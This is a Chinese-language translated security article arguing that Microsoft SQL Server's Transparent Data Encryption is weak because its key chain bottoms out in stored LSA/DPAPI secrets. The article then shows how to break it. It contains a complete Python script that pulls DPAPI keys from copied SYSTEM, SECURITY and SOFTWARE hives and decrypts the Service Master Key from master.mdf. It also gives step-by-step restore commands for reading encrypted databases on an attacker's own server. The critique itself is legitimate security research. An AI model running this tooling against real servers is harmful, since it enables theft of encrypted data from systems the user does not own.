本次调查开始于一个我和客户讨论:他们是否应该安装TDE。如果我们要选出一个最合适的进行静态数据加密的工具,那么非TDE莫属,但是它有一个明显的缺陷。
任何加密自己数据的软件都有一个功能性问题:如果它希望使用自己的数据,就需要对自身数据进行解密。举个例子,如果SQL服务器想要向加密数据库中写入数据,之后把数据返回给用户,他需要合适的解密密钥进行这个操作。
如果系统还需要在无需人工干预的情况下就可以boot,敏感功能无法被单独嵌入到保护性硬件中,之后密钥必须储存在系统的某个位置中,以便服务器在启动时能够访问它。然而,如果密钥被存储在系统中,那所有人都有接入权限,如果整个系统被北方,密钥也会被备份,所以所有数据都会被轻易读取。
“很明显”,解决方法是在储存所有数据之前加密密钥,微软的TDE就是这么做的。不幸的是,它并没有真的解决这个问题,因为为了解密这个已经加密的密钥,你还需要存储这个用于解密的密钥。所有的这些花里胡哨的行为都是为了掩饰密钥的存储。
显然解决方法还是加密加密的密钥…而这么做的工具呢还是微软的TDE,但是它还是存在相同的问题。它一直这么做。虽然最终你不得不停止增加层数并存储最底层的为加密密钥,只要找到这个密钥,那所有的加密就会瞬间土崩瓦解。
这种基本的、不可避免的逻辑必然性让很多人选择拒绝使用这个软件。大家不相信这样一个看似毫无意义、甚至毫无诚信可言的安全机制是由如此大型的公司出售的,简直太可怕了。一些人必须要看到这个机制之后才能相信,所以我们决定用这篇文章详细解释TDE以及如何破解TDE。
在我们开始破解TDE之前,让我们先看看所有数据是如何被加密的。下面这张图提供了我们所需要的所有加密步骤。如果这种方法不是模糊安全的模范,那我不知道这是什么了。
实际上是略有变化的,因为在一些情况下,访问相同数据的路径有很多,还有一些整个过程中非常微妙的地方并没有被提到。给出的路径是我们最感兴趣的问题,因为路径很容易被复制。
我们从底层开始介绍,底层最基础的密钥匙LSA密钥,其他层都在这层之上。它被轻微模糊处理(“代替密码”)后储存在磁盘上的注册表中,但是这点是众所周知的,所以它所提供的方式并不安全。
由于LSA密钥和其他几个密钥都储存在其他文件中,整个体系就会分裂。蓝色图表表明啦包含各种信息关键部分的基础文件:
1、注册表备份或者来自%WINDIR%/System32/Config的配置单元文件SYSTEM,SECURITY和SOFTWARE
2、来自%WINDIR%/System32/Microsoft/Protect/S-1-5-18的DPAPI的主键
3、主数据库和目标用户数据库。数据库可以从一个SQL备份文件或raw .mdf文件中恢复。在使用.mdf文件恢复时,拥有相应的.ldf数据库日志文件尽管不是必须的,但是也非常有用。
在知道这些信息后,所有的加密密钥都可以无需暴力破解直接恢复。
从SQL server的角度看,掌控所有的密钥就是Sevice Master Key(SMK)。对每个服务器/集群来说,它都是独一无二的,保护着它上面的每一层。它被储存在从未使用TDE中加密的主数据库中。然而,它在主数据库中被储存成一个加密值,所以还是需要解密。
破解TDE的一般方法是从目标服务区或者备份中拷贝数据库,然后把数据库放在一个新的由我们控制的“恢复”SQL服务器中。通过复制SMK,所有的加密的数据库都会自动被恢复服务器上的SQL服务器自动解密。恢复服务器上的数据可以被查看、导出等。所以我们不需要完全了解SQL服务器使用数据库加密密钥做了什么,因为我们将使用它对付它自己来为我们解密所有内容。
下面这个简单的python脚本用于文件收集以及提取SMK。涉及到的大部分工作都在恢复DPAPI密钥,多亏了creddump和dpapick项目出色的工作,我们成功拿到了这个密钥。
#!/usr/bin/env python # -*- coding: utf-8 -*- from DPAPI.Core import blob # https://pypi.python.org/pypi/dpapick/0.3 from DPAPI.Core import masterkey from DPAPI.Core import registry from optparse import OptionParser from Registry import Registry # https://github.com/williballenthin/python-registry from bitstring import ConstBitStream import re import os import sys def search_with_blob(entropy, dpapi_system, mkp, tdeblob): """Try decrypting with each master key""" wblob = blob.DPAPIBlob(tdeblob) mks = mkp.getMasterKeys(wblob.mkguid) for mk in mks: if mk.decrypted: wblob.decrypt(mk.get_key(), entropy) if wblob.decrypted: print("Decrypted service master key: %s" % wblob.cleartext.encode('hex')) else: print("Decryption failed") def search_with_entropy(entropy, dpapi_system, mkp, masterdb): """Search for DPAPI blobs in master database""" masterdb = ConstBitStream(filename = options.masterdb) for found in masterdb.findall('0x01000000D08C9DDF0115D1118C7A00C04FC297EB', bytealigned = True): blobsegment = masterdb[found:found+512*8] # Extraneous bytes ignored search_with_blob(entropy, dpapi_system, mkp, blobsegment.tobytes()) parser = OptionParser() parser.add_option("--masterkey", metavar='DIRECTORY', dest='masterkeydir') parser.add_option("--system", metavar='HIVE', dest='system') parser.add_option("--security", metavar='HIVE', dest='security') parser.add_option("--software", metavar='HIVE', dest='software') parser.add_option("--masterdb", metavar='FILE', dest='masterdb') (options, args) = parser.parse_args() reg = registry.Regedit() secrets = reg.get_lsa_secrets(options.security, options.system) dpapi_system = secrets.get('DPAPI_SYSTEM')['CurrVal'] mkp = masterkey.MasterKeyPool() mkp.loadDirectory(options.masterkeydir) mkp.addSystemCredential(dpapi_system) mkp.try_credential_hash(None, None) with open(options.software, 'rb') as f: reg = Registry.Registry(f) regInstances = reg.open('Microsoft//Microsoft SQL Server//Instance Names//SQL') for v in regInstances.values(): print("Checking SQL instance %s" % v.value()) regInst = reg.open('Microsoft//Microsoft SQL Server//%s//Security' % v.value()) entropy = regInst['Entropy'].value() search_with_entropy(entropy, dpapi_system, mkp, options.masterdb)
方便的是,脚本是跨平台的,所以它不需要在Windows机器上运行。这就意味着在目标服务区上不需要安装软件,一些文件渗出(或使用备份)就可以了。
一旦DPAPI密钥被恢复了,这个脚本搜索主数据库获得加密的SMK。这些SMK使用特殊的DPAPI blob结构被加密。DPAPI结构总是包含供应商GUID:df9d8cd0-1501-11d1-8c7a-0c04fc297eb,这个ID很容易被找到。由于主数据库未被加密,我们可以只使用SQL server就能提取ID,但是需要更多的协调和尝试。因为GUID非常受限制,这种快速且卑鄙的在主数据库中直接搜索方法被用于证明概念。这也意味着即使文件格式不同,它也同样适用于SQL备份文件或者本地.dmf文件。
执行只指向所需文件,然后继续:
$ ./tde.py --masterkey=S-1-5-18 --system=SYSTEM --security=SECURITY --software=SOFTWARE --masterdb=master.mdf
其结果是简单的未加密SMK:
Decrypted service master key: 999338193ab37c38c3aa99df062e2f5ca96b7dbc87542af9d61e0dc8a473c1f9
SQL Server有一个方式备份并恢复SMK,使用命令行:
BACKUP SERVICE MASTER KEY TO FILE = 'some-file-to-write-to' ENCRYPTION BY PASSWORD = 'some-password'
另外,他们可以被恢复到一个新的服务器,使用命令行:
RESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from' DECRYPTION BY PASSWORD = 'some-password' [FORCE]
另外一些主服务器密钥也可以利用SMK恢复来被解密,数据库访问。不幸的是,我们没有来自目标机器的SMK的备份文件(实际上在很多攻击的情况下,我们可以只知性备份命令,但是没有进行备份恢复等)。
在这个例子里,我们有一个恢复等原始密钥,但是没有备份文件,一个明显的安装SMK的方式是在恢复计算机上使用DPAPI系统凭证加密SMK,然后储存在主数据库中。dpapick库目前并不支持加密,我很烦躁啊,所以我跳过了现在这个不花太多时间和精力的方法。相反,我使用了那种快速卑鄙的方法,创建一个SMK备份文件,但是它手动操作较多。这些都是可以被简化的,但是为了证明这个概念,我使用了一个简单的cuckoo’s egg方法,视频中展示了这个方法-终端到中断的恢复demo。这种方法使用恢复密钥生成一个SMK备份文件,我们可以再我们的恢复SQL server上进行恢复。
下面这些步骤是使用新的SMK备份文件恢复一个TDE备份(来自.bak文件)来恢复服务器:
1、使用单用户模式启动SQL server(-m startup option)
2、恢复主数据库
RESTORE DATABASE MASTER FROM DISK = 'c:/.../master.bak' WITH REPLACE;
3、重启SQL服务(仍然是单用户模式)
4、添加管理员用户/重置管理员密码
5、在普通多用户模式下重启服务
6、使用FORCE选项恢复SMK
ESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from' DECRYPTION BY PASSWORD = 'some-password' FORCE
7、恢复目标数据库
8、刷新数据库列表
下面这些步骤用于恢复.MDF/.LDF文件:
1、停止SQL服务
2、复制 .mdf/.ldf文件,代替现在的主数据库
3、在单用户模式下开启SQL服务器(-m startup option)
4、增加管理员用户/重置管理员密码
5、在普通多用户模式下重启服务
6、使用FORCE选项恢复SMK
RESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from' DECRYPTION BY PASSWORD = 'some-password' FORCE
7、离线拿下目标数据库
8、让目标数据库再次在线
9、刷新数据库列表
在这点上,我们完全恢复并能够访问加密数据库
在上面的内容中,我们介绍了TDE机制及如何破解TDE,之后的文章我们将继续深入TDE,揭秘是否应该继续使用TDE。
* 原文链接: simonmcauliffe ,FB小编FireFrank编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)